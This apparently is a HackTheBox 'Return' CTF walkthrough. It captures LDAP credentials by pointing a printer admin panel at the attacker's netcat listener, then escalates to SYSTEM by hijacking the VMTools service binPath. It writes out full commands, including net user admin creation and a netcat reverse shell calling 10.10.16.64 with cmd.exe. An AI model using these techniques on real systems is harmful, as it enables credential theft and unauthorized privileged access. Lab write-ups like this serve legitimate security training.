CTF··4 min read

HTB Return: LDAP Credential Theft to Service Hijacking

Add the target IP address to /etc/hosts and bind it to onurcan.htb or whatever you want xD

Terminal output showing /etc/hosts entry: 10.10.11.176 onurcan.htb

Begin with a service scan on the most common ports:

nmap -sV -sC -T4 -Pn onurcan.htb

Nmap scan results for onurcan.htb showing open ports 80, 389, 445, 5985 and services
Nmap scan results for onurcan.htb showing open ports 80, 389, 445, 5985 and services

Multiple ports are open. Key services include LDAP (port 389), HTTP (port 80) with a printer admin panel, and WinRM (port 5985). A full port scan was attempted but took too long, so I proceeded with the discovered services.

Port 80 hosts an HTB Printer Admin Panel:

HTB Printer Admin Panel Settings page showing LDAP configuration fields: Server Address printer.return.local, Port 389, Username svc-printer

Navigating to the Settings page reveals the printer’s LDAP configuration including the server address (printer.return.local), port (389), and username (svc-printer):

Printer Admin Panel Settings page with password field highlighted, showing attempt to update LDAP password

I attempted to update the password field directly, but this did not change the actual LDAP credentials:

Printer Admin Panel Settings page with Server Address field changed to attacker IP 10.10.16.64

The key observation here is that the printer connects to an LDAP server to authenticate. By changing the Server Address field to my attacker IP and starting a netcat listener on port 389, I can intercept the LDAP authentication request and capture the credentials in cleartext:

Netcat listener output on port 389 capturing LDAP bind request with credentials svc-printer:1edFg43012!!

Captured credentials: svc-printer:1edFg43012!!

From the nmap scan, port 5985 (WinRM) is open. I tested the captured credentials using netexec:

Reference:

Authentication | NetExecEdit descriptionwww.netexec.wikinxc winrm onurcan.htb -u svc-printer -p '1edFg43012!!'

NetExec WinRM authentication output showing svc-printer successfully authenticated with Pwn3d! status

Authentication successful with Pwn3d! status, confirming WinRM access. Logged in using evil-winrm:

evil-winrm -i onurcan.htb -u svc-printer -p '1edFg43012!!'

Evil-WinRM shell session connected to onurcan.htb as svc-printer, showing user flag file

Grab the user flag:

Evil-WinRM shell listing C:\Users\Administrator\Desktop showing root.txt but access denied when trying to read

Privilege Escalation

I can navigate to C:\Users\Administrator\Desktop but cannot read root.txt due to insufficient permissions:

Evil-WinRM shell running whoami /priv showing enabled privileges for svc-printer

Check current privileges:

whoami /priv

Evil-WinRM shell running whoami /groups showing svc-printer is member of Server Operators group

Several interesting privileges are enabled, but let’s check group memberships first:

whoami /groups

Evil-WinRM shell running whoami /groups showing svc-printer is member of Server Operators group

The svc-printer account is a member of the Server Operators group. This group has the ability to start and stop system services, and more importantly, modify service configurations. This can be abused to hijack a service binary path and execute arbitrary commands as SYSTEM.

Using evil-winrm’s built-in services command to list services with modifiable privileges:

Evil-WinRM services command output listing services with VMTools showing True for modifiable privilege
Evil-WinRM services command output listing services with VMTools showing True for modifiable privilege

VMTools service has True privilege, meaning we can modify its configuration.

As first attempt, I tried to create a local admin user by hijacking VMTools binary path:

sc.exe config VMTools binPath="cmd.exe /c net user erkan claude1984 /add && net localgroup administrators erkan /add"
sc.exe stop VMTools
sc.exe start VMTools

Evil-WinRM shell showing sc.exe config VMTools command and error 1053 when starting service, user not created

The service configuration change succeeded, but sc.exe start returned error 1053 (service timeout). The net user command chain likely didn't execute properly because the service manager killed the process before it could complete. Verified the user was not created:

net user erkan
The user name could not be found.

Second attempt was reverse shell approach. Uploaded nc64.exe to the target via evil-winrm's upload command:

upload /tmp/nc64.exe nc64.exe

Evil-WinRM shell showing upload of nc64.exe to target

Changed VMTools binary path to a netcat reverse shell:

sc.exe config VMTools binPath="C:\Windows\Temp\nc64.exe 10.10.16.64 4444 -e cmd.exe"
sc.exe stop VMTools
sc.exe start VMTools

Evil-WinRM shell showing sc.exe config VMTools with netcat reverse shell command

Set up a listener with penelope and got NT AUTHORITY\SYSTEM shell:

(I tried to make stable the shell ,so multiple attempt was made and because of that reason I changed port each time as you can see below)

Penelope listener output showing reverse shell connection from target as NT AUTHORITY\SYSTEM
May The Pentest Be With You ! ! !
Penelope listener output showing reverse shell connection from target as NT AUTHORITY\SYSTEM